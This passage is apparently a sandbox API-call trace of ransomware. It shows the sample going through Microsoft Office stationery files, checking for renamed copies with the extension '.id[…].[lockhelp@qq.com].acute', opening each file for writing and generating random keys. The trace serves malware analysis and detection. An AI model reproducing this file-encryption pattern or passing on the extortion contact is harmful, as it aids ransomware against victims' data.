Shared\\Stationery\\Genko_1.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.376] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.376] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=10340) returned 1 [0055.376] CloseHandle (hObject=0x194) returned 1 [0055.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0055.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.376] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.379] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=116724) returned 1 [0055.379] CloseHandle (hObject=0x174) returned 1 [0055.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0055.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.379] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.380] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=237) returned 1 [0055.380] CloseHandle (hObject=0x174) returned 1 [0055.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0055.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.381] SetEvent (hEvent=0x14c) returned 1 [0055.381] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.381] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=6406) returned 1 [0055.381] CloseHandle (hObject=0x174) returned 1 [0055.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0055.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.383] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.383] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2920) returned 1 [0055.383] CloseHandle (hObject=0x174) returned 1 [0055.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0055.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.384] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.384] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=7498) returned 1 [0055.384] CloseHandle (hObject=0x174) returned 1 [0055.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0055.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.384] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.387] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=235) returned 1 [0055.387] CloseHandle (hObject=0x174) returned 1 [0055.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0055.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.388] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.388] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=4222) returned 1 [0055.388] CloseHandle (hObject=0x174) returned 1 [0055.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0055.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.388] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.502] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=152300) returned 1 [0055.502] CloseHandle (hObject=0x174) returned 1 [0055.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0055.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.503] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.503] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2950) returned 1 [0055.503] CloseHandle (hObject=0x174) returned 1 [0055.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0055.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.504] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.504] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=237) returned 1 [0055.504] CloseHandle (hObject=0x174) returned 1 [0055.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0055.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.504] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.505] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=6381) returned 1 [0055.505] CloseHandle (hObject=0x174) returned 1 [0055.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0055.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.505] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.506] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=232) returned 1 [0055.506] CloseHandle (hObject=0x174) returned 1 [0055.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0055.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.506] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.507] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=5115) returned 1 [0055.507] CloseHandle (hObject=0x174) returned 1 [0055.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0055.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.508] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.508] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=3981) returned 1 [0055.508] CloseHandle (hObject=0x174) returned 1 [0055.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0055.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.508] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.508] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=5115) returned 1 [0055.509] CloseHandle (hObject=0x174) returned 1 [0055.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0055.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.509] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.510] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=14049) returned 1 [0055.510] CloseHandle (hObject=0x174) returned 1 [0055.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0055.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.510] CryptGenRandom (in: 